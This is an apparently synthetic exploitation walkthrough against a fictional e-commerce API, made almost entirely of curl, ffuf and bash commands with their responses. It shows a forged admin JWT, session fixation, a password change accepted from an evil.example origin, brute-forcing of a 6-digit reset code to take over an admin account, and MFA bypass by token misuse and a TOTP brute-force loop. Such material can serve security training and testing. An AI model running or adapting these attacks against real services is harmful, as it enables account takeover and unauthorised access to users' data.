eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5fQ.FORGED_HMAC_SIGNATURE

# Step A: Obtain a pre-authentication session cookie (SYNTHETIC)
$ curl -sI https://shopstream.example.com/account/login | grep set-cookie
set-cookie: session_id=PRE_AUTH_SESSION_abc123; Path=/; HttpOnly; Secure

# Step B: Authenticate with the pre-auth cookie (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -H "Cookie: session_id=PRE_AUTH_SESSION_abc123" \
  -d '{"username":"testuser","password":"REDACTED"}' | jq .

{
  "status": "success",
  "token": "eyJ0eXAiOiJKV1Qi..."
}

# Step C: Check if the session ID changed after login
$ curl -sI https://shopstream.example.com/api/v2/users/me \
  -H "Cookie: session_id=PRE_AUTH_SESSION_abc123" \
  -H "Authorization: Bearer eyJ0eXAiOiJKV1Qi..." | grep set-cookie

# NO new Set-Cookie header — session_id was NOT regenerated

# Check if the password change endpoint requires CSRF token (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/users/me/change-password \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer eyJ0eXAi_testuser_token..." \
  -H "Origin: https://evil.example.com" \
  -d '{"current_password":"REDACTED","new_password":"REDACTED_NEW"}' | jq .

{
  "status": "success",
  "message": "Password changed successfully"
}

# Request password reset (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/reset-password \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@pinnacle-commerce.example.com"}' | jq .

{
  "status": "success",
  "message": "If an account exists with that email, a reset link has been sent."
}

# The reset token is a 6-digit numeric code (SYNTHETIC)
# Brute-force the reset code (SYNTHETIC — 000000 to 999999)
$ ffuf -u "https://shopstream.example.com/api/v2/auth/reset-password/verify" \
  -X POST \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@pinnacle-commerce.example.com","code":"FUZZ"}' \
  -w /usr/share/wordlists/numeric-6digit.txt \
  -mc 200 \
  -fr "Invalid code" \
  -t 50

# After ~45,000 attempts (SYNTHETIC):
847291                  [Status: 200, Size: 234, Words: 12]

# Use the brute-forced reset code to change the admin password (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/reset-password/confirm \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@pinnacle-commerce.example.com","code":"847291","new_password":"REDACTED_ATTACKER"}' | jq .

{
  "status": "success",
  "message": "Password has been reset successfully"
}

# Normal login with MFA (SYNTHETIC)
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"REDACTED"}' | jq .

{
  "status": "mfa_required",
  "mfa_token": "temp_mfa_eyJ0eXAi...",
  "message": "Please provide your MFA code"
}

# MFA verification endpoint
$ curl -s -X POST https://shopstream.example.com/api/v2/auth/mfa/verify \
  -H "Content-Type: application/json" \
  -d '{"mfa_token":"temp_mfa_eyJ0eXAi...","code":"123456"}' | jq .

{
  "status": "success",
  "token": "eyJ0eXAiOiJKV1Qi_full_admin_token..."
}

# MFA Bypass #1: The temporary MFA token grants partial access (SYNTHETIC)
$ curl -s https://shopstream.example.com/api/v2/users/me \
  -H "Authorization: Bearer temp_mfa_eyJ0eXAi..." | jq .

{
  "id": 1,
  "username": "admin",
  "role": "admin",
  "email": "admin@pinnacle-commerce.example.com",
  "mfa_enabled": true
}

# MFA Bypass #2: Brute-force TOTP code — no rate limiting (SYNTHETIC)
$ for code in $(seq -w 000000 999999); do
    response=$(curl -s -X POST https://shopstream.example.com/api/v2/auth/mfa/verify \
      -H "Content-Type: application/json" \
      -d "{\"mfa_token\":\"temp_mfa_eyJ0eXAi...\",\"code\":\"$code\"}")
    if echo "$response" | grep -q "success"; then
      echo "Valid code: $code"
      break
    fi
  done

# TOTP codes are 6 digits and rotate every 30 seconds.
# With no rate limiting, the valid code can be found within the 30-second window
# if request throughput is sufficient (~33,333 req/sec needed for full keyspace).